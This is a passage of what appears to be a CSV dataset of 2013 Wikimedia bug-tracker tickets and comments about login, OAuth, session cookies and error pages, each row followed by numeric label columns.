+**Severity**: enhancement",Needs Triage,90.0,1375476120,1378329992.0,PHID-USER-doeppszazlm3r7xah4il,False,,False,PHID-TASK-u5ehwupktlsuxie5nfvq,task_description,invalid,True,c2,2,True,False,True,-4,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+236547,OAuth can't validate http parameters with spaces in the name,"Changed back to getting the raw POST and parsing it ourselves, so this is no longer an issue.",,,1378329992,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-u5ehwupktlsuxie5nfvq,task_subcomment,,True,c2,3,True,,,1,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,1,1,1,1,0,0
+236542,OAuth can't validate http parameters with spaces in the name,"Actually it's PHP mangling the names, as the same behavior is seen in a four-line test page that just echos back $_GET and $_POST.
+
+ <?php
+ header( 'Content-Type: text/plain' );
+ var_dump($_GET);
+ var_dump($_POST);
+
+Besides space, this also affects period and open-bracket (and ASCII NUL truncates the key), at least in PHP 5.5.1 on my local system. With respect to periods and spaces, this behavior is mentioned at http://www.php.net/manual/en/language.variables.external.php.",,,1375714420,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-u5ehwupktlsuxie5nfvq,task_subcomment,,True,c2,2,True,,,-4,True,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,0,1,1
+54397,Login only in one project in spite of SUL-account,"**Author:** `hosse`
+
+**Description:**
+Sorry for my bad english. If I'm logging in I'm only registered in german Wikipedia and not in all other projekts in what I have an account (SUL). I noticed it first yesterday. And I've tried it now several times - ever the same. 
+
+It is not only a problem of mine: https://de.wikipedia.org/wiki/Wikipedia:Fragen_zur_Wikipedia#Anmelden
+
+I'm using Firefox 22.0 over https.
+
+Thanks
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**OS**: Windows 7
+**Platform**: PC",Needs Triage,90.0,1375367460,1377670929.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-a52euaakwk6ruvv3t3o6,task_description,invalid,True,c2,2,False,False,True,-4,True,1,0,0,0,1,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+257007,Login only in one project in spite of SUL-account,"**hosse** wrote:
+
+(In reply to comment #3)
+> hosse: So this works for you now, or is there still a problem?
+
+It's ok now, but it seems that others have similar problems with log in too. My problem is fixed. Thanks.",,,1377670562,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-a52euaakwk6ruvv3t3o6,task_subcomment,,True,c2,3,False,,,0,True,0,0,0,1,0,1,0,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,0,1,0,0,1,0,0,1,0,0,0,0,1
+257001,Login only in one project in spite of SUL-account,"hosse: So this works for you now, or is there still a problem?",,,1377619547,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-a52euaakwk6ruvv3t3o6,task_subcomment,,True,c2,2,True,,,-1,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,1,0,0,0,0,0
+256994,Login only in one project in spite of SUL-account,"**hosse** wrote:
+
+(In reply to comment #1)
+> Thanks for the report Hoose.
+> 
+> Is it possible for you to delete your cookies, and see if you have the same
+> result? Or maybe try from another browser? I'd like to determine if the
+> problem
+> is your cookies, or if it is your account.
+
+I deleted all my cookies and my cache. At first it was the same result. No log in in other projects only de:wikipedia. Then I logged of in de:wikipedia and now I was logged in in commons. Then I deleted the cookies again. And now I'm logged in in all other projekts. Strange...
+
+Hmm, I will report this at https://de.wikipedia.org/wiki/Wikipedia:Fragen_zur_Wikipedia#Anmelden
+
+Thank you for your help.
+Hosse",,,1375423874,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-a52euaakwk6ruvv3t3o6,task_subcomment,,True,c2,2,False,,,-4,True,1,0,0,1,0,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,1,0,0,0,0,0,0,1
+256988,Login only in one project in spite of SUL-account,"Thanks for the report Hoose.
+
+Is it possible for you to delete your cookies, and see if you have the same result? Or maybe try from another browser? I'd like to determine if the problem is your cookies, or if it is your account.",,,1375413182,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-a52euaakwk6ruvv3t3o6,task_subcomment,,True,c2,2,True,,,-4,True,0,0,0,0,0,1,1,0,0,1,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0
+54356,Login check without javascript broken,"Without javascript, the central login check is failing to run correctly.
+
+Local wiki writes an image call that looks something like title=Special:CentralAutoLogin/start&type=1x1&from=enwiki
+
+However, CentralAutoLogin checks for
+
+} elseif( $request->getVal( 'from' ) === wfWikiId() && $wgCentralAuthLoginWiki !== wfWikiId() ) {
+
+Which is true in this case, and so the browser is redirected to the central wiki, to Special:CentralAutoLogin/start, which fails.
+
+The pure javascript version of the check makes a call to:
+
+index.php?title=Special:CentralAutoLogin/start&type=script
+
+So the code above doesn't evaluate true, and everything works.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",Needs Triage,90.0,1375306620,1377619495.0,PHID-USER-doeppszazlm3r7xah4il,False,,False,PHID-TASK-qmea6ebyj4xqwpomkvxl,task_description,resolved,True,c2,1,True,False,True,-4,True,0,1,0,1,1,1,1,0,0,0,1,1,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,1,1,0,0,0,1,0,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,1,0,0,0,0,1,0,1,1,1,0,1,1,0,0,1,0,1,0,0,0,0,1,1,0,1,0,0,0,1,1,0,1,0,0,1
+254411,Login check without javascript broken,"(In reply to comment #3)
+> https://gerrit.wikimedia.org/r/77117
+
+Patch merged on 2013-08-01. Closing as FIXED, but please reopen if more work is needed (and elaborate).",,,1377619495,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-qmea6ebyj4xqwpomkvxl,task_subcomment,,True,c2,2,True,,,-1,True,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,1,0,0,0,1,1,0,1
+254408,Login check without javascript broken,"Change 77117 merged by jenkins-bot:
+Fix non-JS login check
+
+https://gerrit.wikimedia.org/r/77117",,,1375382259,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qmea6ebyj4xqwpomkvxl,task_subcomment,,True,c2,2,False,,,-4,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+254405,Login check without javascript broken,"Change 77117 had a related patch set uploaded by Anomie:
+Fix non-JS login check
+
+https://gerrit.wikimedia.org/r/77117",,,1375363628,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qmea6ebyj4xqwpomkvxl,task_subcomment,,True,c2,2,False,,,-4,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+254400,Login check without javascript broken,"Ah, I see what's happening there. It should fix it to simply remove the ""from"" parameter from that particular URL; I'll test that and put the patch in Gerrit if it works.",,,1375363167,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-qmea6ebyj4xqwpomkvxl,task_subcomment,,True,c2,2,True,,,-4,True,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,0,1,0,0,1,0,0,0
+53745,Implement a custom HTTP 500 error page on labs,"500 Internal Server Error
+
+At http://tools.wmflabs.org/ftl/cgi-bin/ftl?st=wp&su=Rosa+Parks I currently get the default Apache HTTP 500 error page.
+
+It is uninformative. In particular I want to see information to the effect that ""this error could either be a problem with the individual tool you are trying to use, or with the Labs server setup more generally"". 
+
+(I don't know if this is specific to Tool Labs or the entire wmflabs.org cluster, so please recategorise accordingly.)
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**URL**: http://tools.wmflabs.org/ftl/cgi-bin/
+
+**Attached**: {F11402}",Needs Triage,90.0,1374321780,1374607194.0,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,False,PHID-TASK-ndifoahptzsidbssywc7,task_description,resolved,True,c2,1,False,False,True,-6,True,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,1,0,1,0,1,1,0,1
+241420,Implement a custom HTTP 500 error page on labs,(Also 403),,,1374614944,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-ndifoahptzsidbssywc7,task_subcomment,,True,c2,1,False,,,-6,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0
+241413,Implement a custom HTTP 500 error page on labs,I've replaced the 500 and 404 messages with something more useful for the general user.,,,1374607194,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-ndifoahptzsidbssywc7,task_subcomment,,True,c2,1,False,,,-6,True,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0
+241405,Implement a custom HTTP 500 error page on labs,See URL field for a URL that seems to reliably give HTTP 500.,,,1374373551,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-ndifoahptzsidbssywc7,task_subcomment,,True,c2,1,False,,,-6,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0
+53622,Add loginwiki to beta,"To have beta's login fully mimic productions, we should setup a loginwiki equivalent in beta.
+
+To make it similar to production, the wiki should only us https, and have most features and extensions disabled. However, the only thing required for SUL2 is that we have a central wiki designated as the one keeping track of all logins. So if it's too much work, it's probably not worth the effort right now.
+
+Realistically, I probably don't have the time to figure this out on my own in the next couple of weeks, but if I can get some help on it, I think we should be able to set this up pretty quickly.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1374165600,1374694170.0,PHID-USER-doeppszazlm3r7xah4il,False,,False,PHID-TASK-iu3jn3zkv3ilnghozzug,task_description,resolved,True,c2,1,True,False,True,-6,True,1,0,1,0,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0,0,1,0,0,1,0,1,1,1,1,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,0,1,0,1,0,1,0,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,1,1,0,1,0
+234396,Add loginwiki to beta,The loginwiki is available at https://login.wikimedia.beta.wmflabs.org/,,,1374693638,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-iu3jn3zkv3ilnghozzug,task_subcomment,,True,c2,1,True,,,-5,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0
+234391,Add loginwiki to beta,"Change 75080 merged by jenkins-bot:
+beta: set $wg.*Server for loginwiki
+
+https://gerrit.wikimedia.org/r/75080",,,1374485569,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-iu3jn3zkv3ilnghozzug,task_subcomment,,True,c2,1,False,,,-6,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+234384,Add loginwiki to beta,"Change 75080 had a related patch set uploaded by Hashar:
+beta: set $wg.*Server for loginwiki
+
+https://gerrit.wikimedia.org/r/75080",,,1374485533,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-iu3jn3zkv3ilnghozzug,task_subcomment,,True,c2,1,False,,,-6,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+234376,Add loginwiki to beta,The SSL cert request is already tracked by bug 48501. No activity since May 15th 20th though.,,,1374265080,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-iu3jn3zkv3ilnghozzug,task_subcomment,,True,c2,1,True,,,-6,True,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+234369,Add loginwiki to beta,"Also, after talking with Ryan and Krenair, we'll probably just start with it being available on http until we figure out how to have valid ssl certs in beta. Otherwise, I've noticed that at least Chrome will fail to follow a 302 if the target has an invalid cert, so it would likely break logins.",,,1374198309,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-iu3jn3zkv3ilnghozzug,task_subcomment,,True,c2,1,True,,,-6,True,0,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0
+234363,Add loginwiki to beta,"If you create the 'loginwiki' on beta, I guess it will inherits all the production settings and be almost ready for use :-]",,,1374178728,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-iu3jn3zkv3ilnghozzug,task_subcomment,,True,c2,1,True,,,-6,True,1,0,0,0,0,1,1,0,0,1,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,0,0,0,0,0,0,0
+53616,beta commons fatal 503 from UserLogin and Varnish,"at http://commons.wikimedia.beta.wmflabs.org/
+
+click ""Log in""
+
+get fatal error: 
+
+Request: GET http://commons.wikimedia.beta.wmflabs.org/w/index.php?title=Special:UserLogin&returnto=Main+Page, from 127.0.0.1 via deployment-cache-text1 deployment-cache-text1 ([127.0.0.1]:3128), Varnish XID 992017130
+Forwarded for: 127.0.0.1
+Error: 503, Service Unavailable at Thu, 18 Jul 2013 15:29:44 GMT
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",Needs Triage,90.0,1374161400,1374176577.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,,False,PHID-TASK-bzu3hkphin5bmbt5nwws,task_description,resolved,True,c2,1,False,False,True,-6,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1
+234021,beta commons fatal 503 from UserLogin and Varnish,Seems to have been transient,,,1374176577,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-bzu3hkphin5bmbt5nwws,task_subcomment,,True,c2,1,False,,,-6,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+53377,Mobile cannot keep a login for more than 2 days,"Yeh there seems to be another issue here as well. The login session is only lasting for 2 days on my mobile. Bugzilla and Gerrit seem to stay logged in forever on the other hand.
+
+
+The mobile site uses HTTPS - could this be part of the issue?
+
+Here's an inspection of my HTTP headers:
+On mobile site:
+
+Sent:
+enwikiUserName	Jdlrobson	/	en.m.wikipedia.org	Wed Aug 14 10:40:59 2013
+centralauth_LoggedOut	xxx	/	.wikipedia.org	Wed Aug 14 10:43:58 2013
+mfsecure	1	/	.wikipedia.org	Mon Jul 15 11:51:50 2013
+enwiki_session	xxx	/	en.m.wikipedia.org	End Of Session
+centralnotice_bucket	0-4.2	/	en.m.wikipedia.org	Mon Jul 22 09:54:35 2013
+enwikiLoggedOut	xxx	/	en.m.wikipedia.org	Tue Jul 16 10:43:58 2013
+
+received:
+centralauth_User	Jdlrobson	/	.wikipedia.org	Wed, 14-Aug-2013 17:44:14 GMT
+centralauth_Token	deleted	/	.wikipedia.org	Thu, 01-Jan-1970 00:00:01 GMT
+centralauth_Session	xxx	/	.wikipedia.org	End Of Session
+enwikiUserID	xxx	/	en.m.wikipedia.org	Wed, 14-Aug-2013 17:44:14 GMT
+enwikiUserName	Jdlrobson	/	en.m.wikipedia.org	Wed, 14-Aug-2013 17:44:14 GMT
+enwikiToken	deleted	/	en.m.wikipedia.org	Thu, 01-Jan-1970 00:00:01 GMT
+enwikiforceHTTPS	true	/	en.m.wikipedia.org	Wed, 14-Aug-2013 17:44:14 GMT
+enwiki_session	xxx	/	en.m.wikipedia.org	End Of Session
+
+On desktop site:
+
+Sent:
+uls-previous-languages	xxx	/w/	en.wikipedia.org	End Of Session
+ext.moodBar%403-tooltip	1	/	en.wikipedia.org	Sat Aug  3 15:03:44 2013
+mediaWiki.user.id	xxx	/	en.wikipedia.org	Thu Oct 17 15:13:09 2013
+wikimedia-SUL-final-CN-general	5	/	en.wikipedia.org	Thu May  8 22:24:51 2014
+centralnotice_bucket	1-4.2	/	en.wikipedia.org	Mon Jul 22 10:44:50 2013
+enwiki_session	xxx	/	en.wikipedia.org	End Of Session
+
+Received:
+centralauth_User	Jdlrobson	/	.wikipedia.org	Wed, 14-Aug-2013 17:45:00 GMT
+centralauth_Token	xxx	/	.wikipedia.org	Wed, 14-Aug-2013 17:45:00 GMT
+centralauth_Session	xxx	/	.wikipedia.org	End Of Session
+enwikiUserID	xxx	/	en.wikipedia.org	Wed, 14-Aug-2013 17:45:00 GMT
+enwikiUserName	Jdlrobson	/	en.wikipedia.org	Wed, 14-Aug-2013 17:45:00 GMT
+enwiki_session	xxx	/	en.wikipedia.org	End Of Session
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",Needs Triage,90.0,1373910480,1374026098.0,PHID-USER-5dwuaigmkz2vzg65lape,False,,False,PHID-TASK-mkcld7d34ycwol6vtp7o,task_description,resolved,True,c2,1,False,False,True,-7,True,0,0,0,0,0,1,1,0,0,0,1,1,0,1,1,1,0,1,1,0,1,0,0,0,1,1,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,0,1,0,1,0,0,1
+244548,Mobile cannot keep a login for more than 2 days,silly error. Remember wasn't checked on logins..,,,1374026098,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-mkcld7d34ycwol6vtp7o,task_subcomment,,True,c2,1,False,,,-6,True,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+244539,Mobile cannot keep a login for more than 2 days,"More than two days? Maybe it's this Explorer browser in Windows Phone but try the following:
+
+1. Go to your Watchlist on en.wiki, logging in if needed.
+
+2. Turn off & on your device to make sure no browser sessions or temporary caches are left.
+
+3. Go back to your Watchlist on en.wiki.
+
+Do you need to login again? I have to.",,,1373954931,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-mkcld7d34ycwol6vtp7o,task_subcomment,,True,c2,1,False,,,-7,True,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,0,0,0,1,1,0,1
+53358,"Request link of ULS language setting in [[MediaWiki:Loginsuccess]] to all the users, or","Hi,
+
+When not-logged in (ip) user  goes to language >> language settings >>Display language (which he currently can not change without being logged in) >> if he selects link log in and logs in >>Requested enhancement : ULS language setting  display should be open next to [[MediaWiki:Loginsuccess]] or ''best thing is link of ULS language setting in [[MediaWiki:Loginsuccess]] to all the users'' 
+
+*Purpose: To complete users expected logical next step of action of language selection in smooth manner.  
+
+
+
+
+
+
+*To understand further the need for above request,please do refer to survey
+data and analysis provided at
+http://www.mediawiki.org/wiki/Talk:Universal_Language_Selector#feature_to_make_content_language_input__default_28864
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Needs Triage,90.0,1373887200,1373888575.0,PHID-USER-azy72hrp3tpetr52aob6,False,,False,PHID-TASK-25pabufiiuelr52bhkwn,task_description,declined,True,c2,1,False,False,True,-7,True,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,0,0,1,1,0,1,1,0,1,1,1,0,1,1,0,1,1,1,0,0,0,0,1,1,1,0,1,0,1,0,1,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,1,1,0,0,1,0,1,1
+243468,"Request link of ULS language setting in [[MediaWiki:Loginsuccess]] to all the users, or","Thanks for the feedback, Mahitgar. As Niklas explains, this feature request will not be prioritized for development.",,,1373888575,,PHID-USER-w5a723w3wes6jd5wskgg,False,,,PHID-TASK-25pabufiiuelr52bhkwn,task_subcomment,,True,c2,1,False,,,-7,True,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+243464,"Request link of ULS language setting in [[MediaWiki:Loginsuccess]] to all the users, or","The proposed solution is not going to happen for few reasons:
+* Anonymous users cannot change language in WMF projects, but this is possible for example in translatewiki.net
+* The login success page is only displayed for WMF projects, but even there it will go away soon. [1]
+
+[1] https://meta.wikimedia.org/wiki/Tech/News/2013/29",,,1373888200,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-25pabufiiuelr52bhkwn,task_subcomment,,True,c2,1,False,,,-7,True,1,0,0,1,1,1,1,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,1,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1
+52430,Undefined Offsets in OpenIDLogin for Strict PHP,"Fixed file - ready for commit to REL1_21
+
+When logging into OpenID (At least with myopenid),
+
+Notice: Undefined offset: 0 in extensions/OpenID/SpecialOpenIDLogin.body.php on line 524
+Notice: Undefined offset: 0 in extensions/OpenID/SpecialOpenIDLogin.body.php on line 556
+Notice: Undefined offset: 0 in extensions/OpenID/SpecialOpenIDLogin.body.php on line 556
+
+This is caused by using a non-existent array key and shows up as an error.
+
+I haven't checked the current head, but the attached patch fixes REL1_21
+
+(Two files, one patch, one fixed REL1_21)
+
+--------------------------
+**Version**: master
+**Severity**: normal
+
+**Attached**: {F11326}",Needs Triage,90.0,1372532400,1372832624.0,PHID-USER-yfwoua5cg65ujblo3pyn,False,,False,PHID-TASK-x3ysesh3fklj3m55mj6t,task_description,resolved,True,c2,1,False,False,True,-9,True,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0
